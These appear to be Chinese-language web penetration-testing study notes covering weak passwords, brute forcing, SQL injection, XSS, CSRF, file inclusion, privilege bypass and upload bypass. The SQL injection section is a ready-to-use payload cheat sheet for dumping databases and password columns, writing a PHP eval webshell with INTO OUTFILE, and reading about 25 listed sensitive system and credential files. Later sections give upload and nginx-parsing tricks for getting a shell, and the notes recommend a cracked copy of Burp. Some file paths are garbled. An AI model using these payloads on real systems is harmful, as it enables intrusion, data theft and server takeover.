一、 弱口令
通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。
仅包含简单数字和字母的口令,如‘123’、‘abc’。
通过爆破工具很容易破解用户的弱口令密码。
危害:
视频监控被入侵等
二、 爆破、遍历
爆破
1. java环境安装(安装.net环境,java环境不能过高)
2. brup破解版
(破解版需要改系统时间使用)
3. 浏览器代理服务器(推荐360,方便)
工具—》代理服务器—》抓包
4. 添加字典
5. 进行爆破
遍历
1. 手动遍历
2. 代理服务器抓包,添加字典
三、 SQL注入
原理
在输入的字符串中注入SQL语句,如果应用相信用户的输入而对输入的字符串没有进行任何的过滤处理,那么这些注入进去的SQL语句就会被数据库误认为是正常的SQL语句而被执行。
恶意SQL措施:脱裤、命令执行、写webshell、读取服务器敏感系统文件
SQL注入语句(来源于米斯特)
判断是否存在SQL注入
'
and 1=1
and 1=2
暴字段长度
Order by 数字
匹配字段
and 1=1 union select1,2,..,n
暴字段位置
and 1=2 union select1,2,..,n
利用内置函数暴数据库信息
version() database()user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union allselect version()
and 1=2 union allselect database()
and 1=2 union allselect user()
操作系统信息:
and 1=2 union allselect @@global.version_compile_os from mysql.user
数据库权限:
andord(mid(user(),1,1))=114 返回正常说明为root
暴库(mysql>5.0)
Mysql 5 以上有内置库information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES whereTABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
猜字段
and 1=2 Union select1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
暴密码
and 1=2 Union select1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select ‘<?phpeval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union allselect 一句话HEX值 into outfile '路径'
load_file() 常用路径:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conftpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射时出现的问题:
当注射后页面显示:
Illegal mix ofcollations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) foroperation 'UNION'
如:/instrument.php?ID=13and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13and 1=2 union select1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))
四、 XSS漏洞
分类
1. 反射
2. 存储
3. DOM
原理
反射XSS:用户通过URL中的参数注入XSS的Payload从而在页面上输出并且顺利的被浏览器执行。
这一过程叫XSS攻击,就称之为反射XSS漏洞。
存储XSS:用户通过表单提交恶意的XSS的payload,并且存储到了数据库中,当数据库被查询时,payload又通过网页形式被输出,并且被浏览器执行。这一过程叫XSS攻击,就称之为存储XSS漏洞。
五、 XSS平台的使用+CSRF漏洞
平台网站:
http://xsspt.com/index.php?do=blist
CSRF:(XSRF)
跨站请求伪造,也称为:
One Click Attack或者Session Riding。
是一种对网站的恶意利用。与XSS非常不同,并且攻击方式几乎相左。
XSS利用站点内信任用户,而CSRF则通过伪装来自信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不太流行(因此对其进行防范的资源也想当稀少)和难以防范,所以被认为比XSS更具危险性。
使用半自动化CSRF测试挖掘工具:
OWASP-CSRFTester-1.0.jar
使用这款工具可以生成利用的exp页面
六、 文件包含
原理
就是将一个文件包含到自己的文件中执行
本地包含:http://localhost/subject/fileinclude.php?file=file
远程包含:http://localhost/subject/fileinclude.php?file=http-file
通过参数包含本地、或者远程的文件并且执行
挖掘
分析URL,是否有文件名字相关的。
对URL进行探测:
带有和文件英文敏感的参数都可以进行挖掘
利用
① 本地包含:
通过上传点上传自己的文件图片也可以
2018.jpg内容:
<?php phpinfo();?>
然后通过地址比如是在upfile目录下:
http://localhost/subject/fileinclude.php?file=/upfile/2018.jpg
(可通过中国菜刀连接)
②远程包含:
(PHP开启远程包含需要设置:PHP.INI参数-allow_url_include为On)
使用自己的网站上传个脚本然后包含即可:
http://localhost/subject/fileinclude.php?file=http://localhost/subject/upfile/2018.jpg
七、 代码执行
原理
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并交由服务器端执行。
命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
熟知可利用常见的php函数:
phpinfo()、echo等等调试函数
八、 越权
越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。
① 平行越权
直接性的越权,不需要任何绕过就产生。
有时候遍历信息也叫平行越权。
② COOKIE、JS越权
绕过cookie、JavaScript代码的验证导致的越权。
COOKIE越权:
实例代码:
<?php
//检测名字为name的cookie是否存在
if(!isset($_COOKIE[“name”])){
//如果不存在跳转到用户登录页面
header(“Location:past.php”)
}else{
//如果存在就正常使用
$name=$_COOKIE[“name”]’
echo “Welcome”.$name;
}
?>
JS越权:禁用JS脚本
九、 文件上传(1)
浏览器通过上传页面将文件存储到服务器中。
一般这些上传页面都会有限制(限制文件格式[jpg/gif/png]等等、限制文件大小
我们所关注的是这个上传页面,一旦限制了文件格式就造成我们渗透测试失败,那么久需要发现这个上传漏洞,去突破限制。
1. 任意文件上传
不限制文件类型,导致直接上传文件
2. 突破Content-type验证
虽然限制了文件类型,可是可以进行改包突破。
burp工具进行代理和抓包,推荐使用360浏览器7.1或8.1
浏览器—》工具—》代理服务器—》代理服务器设置—》127.0.0.1:8080
抓包就点击这个进行监听
burpàOptions—>Run
interceptàintercept is off (on)在监听了
浏览器—》回车—》成功抓包
改好后—》Forward
抓包后修改Context-type
上传php文件把后缀名改为gif上传,然后在抓包中修改文件名成php
十、 文件上传(2)
1. NGINX解析
直接上传图片格式,利用nginx解析漏洞拿webshell
nginx漏洞是由于nginx部分版本程序本身的漏洞导致解析非可以执行脚本程序如PHP。
如下面两个假设存在漏洞的站点上有一张图片url地址为:
www.***.com/logo.jpg//假设存在这个图片
而当我们正常访问,nginx会把这个当作非脚本语言直接读取传送回客户端(也就是浏览器)。但是
存在解析漏洞的nginx会把如下链接解析并且执行:
www.***.com/logo.jpg/a.php(老的解析方式)这样写的话nginx会吧logo.jpg当作脚本执行后再输出
www.***.com/logo.jpg%00.php//这个是七月中旬爆出的解析漏洞
上传头像—》解析图像—》getshell
2. IIS解析
利用IIS漏洞解析文件
解析漏洞总结:https://www.secpulse.com/archives/3750.html